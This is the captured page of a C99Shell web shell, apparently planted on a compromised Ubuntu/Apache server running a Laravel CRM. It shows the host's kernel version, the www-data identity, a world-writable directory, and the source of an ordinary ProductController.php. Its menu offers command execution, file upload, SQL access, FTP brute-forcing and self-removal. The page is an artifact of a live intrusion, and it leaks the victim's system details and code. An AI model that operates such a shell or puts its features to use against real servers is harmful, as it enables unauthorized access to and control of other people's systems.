!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Admin/src/Http/Controllers/Products/   drwxrwxrwx
Free 12.99 GB of 57.97 GB (22.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ProductController.php (6.32 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Admin\Http\Controllers\Products;

use 
Illuminate\Http\JsonResponse;
use 
Illuminate\Http\Resources\Json\JsonResource;
use 
Illuminate\Support\Facades\Event;
use 
Illuminate\View\View;
use 
Prettus\Repository\Criteria\RequestCriteria;
use 
Webkul\Admin\DataGrids\Product\ProductDataGrid;
use 
Webkul\Admin\Http\Controllers\Controller;
use 
Webkul\Admin\Http\Requests\AttributeForm;
use 
Webkul\Admin\Http\Requests\MassDestroyRequest;
use 
Webkul\Admin\Http\Resources\ProductResource;
use 
Webkul\Product\Repositories\ProductRepository;

class 
ProductController extends Controller
{
    
/**
     * Create a new controller instance.
     *
     * @return void
     */
    
public function __construct(protected ProductRepository $productRepository)
    {
        
request()->request->add(['entity_type' => 'products']);
    }

    
/**
     * Display a listing of the resource.
     */
    
public function index(): View|JsonResponse
    
{
        if (
request()->ajax()) {
            return 
datagrid(ProductDataGrid::class)->process();
        }

        return 
view('admin::products.index');
    }

    
/**
     * Show the form for creating a new resource.
     */
    
public function create(): View
    
{
        return 
view('admin::products.create');
    }

    
/**
     * Store a newly created resource in storage.
     *
     * @return \Illuminate\Http\Response
     */
    
public function store(AttributeForm $request)
    {
        
Event::dispatch('product.create.before');

        
$product $this->productRepository->create($request->all());

        
Event::dispatch('product.create.after'$product);

        
session()->flash('success'trans('admin::app.products.index.create-success'));

        return 
redirect()->route('admin.products.index');
    }

    
/**
     * Show the form for viewing the specified resource.
     */
    
public function view(int $id): View
    
{
        
$product $this->productRepository->findOrFail($id);

        return 
view('admin::products.view'compact('product'));
    }

    
/**
     * Show the form for editing the specified resource.
     */
    
public function edit(int $id): View|JsonResponse
    
{
        
$product $this->productRepository->findOrFail($id);

        
$inventories $product->inventories()
            ->
with('location')
            ->
get()
            ->
map(function ($inventory) {
                return [
                    
'id'                    => $inventory->id,
                    
'name'                  => $inventory->location->name,
                    
'warehouse_id'          => $inventory->warehouse_id,
                    
'warehouse_location_id' => $inventory->warehouse_location_id,
                    
'in_stock'              => $inventory->in_stock,
                    
'allocated'             => $inventory->allocated,
                ];
            });

        return 
view('admin::products.edit'compact('product''inventories'));
    }

    
/**
     * Update the specified resource in storage.
     */
    
public function update(AttributeForm $requestint $id)
    {
        
Event::dispatch('product.update.before'$id);

        
$product $this->productRepository->update($request->all(), $id);

        
Event::dispatch('product.update.after'$product);

        if (
request()->ajax()) {
            return 
response()->json([
                
'message' => trans('admin::app.products.index.update-success'),
            ]);
        }

        
session()->flash('success'trans('admin::app.products.index.update-success'));

        return 
redirect()->route('admin.products.index');
    }

    
/**
     * Store a newly created resource in storage.
     */
    
public function storeInventories(int $id, ?int $warehouseId null): JsonResponse
    
{
        
$this->validate(request(), [
            
'inventories'                         => 'array',
            
'inventories.*.warehouse_location_id' => 'required',
            
'inventories.*.warehouse_id'          => 'required',
            
'inventories.*.in_stock'              => 'required|integer|min:0',
            
'inventories.*.allocated'             => 'required|integer|min:0',
        ]);

        
$product $this->productRepository->findOrFail($id);

        
Event::dispatch('product.update.before'$id);

        
$this->productRepository->saveInventories(request()->all(), $id$warehouseId);

        
Event::dispatch('product.update.after'$product);

        return new 
JsonResponse([
            
'message' => trans('admin::app.products.index.update-success'),
        ], 
200);
    }

    
/**
     * Search product results
     */
    
public function search(): JsonResource
    
{
        
$products $this->productRepository
            
->pushCriteria(app(RequestCriteria::class))
            ->
orderBy('created_at''desc')
            ->
take(5)
            ->
get();

        return 
ProductResource::collection($products);
    }

    
/**
     * Returns product inventories grouped by warehouse.
     */
    
public function warehouses(int $id): JsonResponse
    
{
        
$warehouses $this->productRepository->getInventoriesGroupedByWarehouse($id);

        return 
response()->json(array_values($warehouses));
    }

    
/**
     * Remove the specified resource from storage.
     */
    
public function destroy(int $id): JsonResponse
    
{
        
$product $this->productRepository->findOrFail($id);

        try {
            
Event::dispatch('settings.products.delete.before'$id);

            
$product->delete($id);

            
Event::dispatch('settings.products.delete.after'$id);

            return new 
JsonResponse([
                
'message' => trans('admin::app.products.index.delete-success'),
            ], 
200);
        } catch (
\Exception $exception) {
            return new 
JsonResponse([
                
'message' => trans('admin::app.products.index.delete-failed'),
            ], 
400);
        }
    }

    
/**
     * Mass Delete the specified resources.
     */
    
public function massDestroy(MassDestroyRequest $massDestroyRequest): JsonResponse
    
{
        
$indices $massDestroyRequest->input('indices');

        foreach (
$indices as $index) {
            
Event::dispatch('product.delete.before'$index);

            
$this->productRepository->delete($index);

            
Event::dispatch('product.delete.after'$index);
        }

        return new 
JsonResponse([
            
'message' => trans('admin::app.products.index.delete-success'),
        ]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--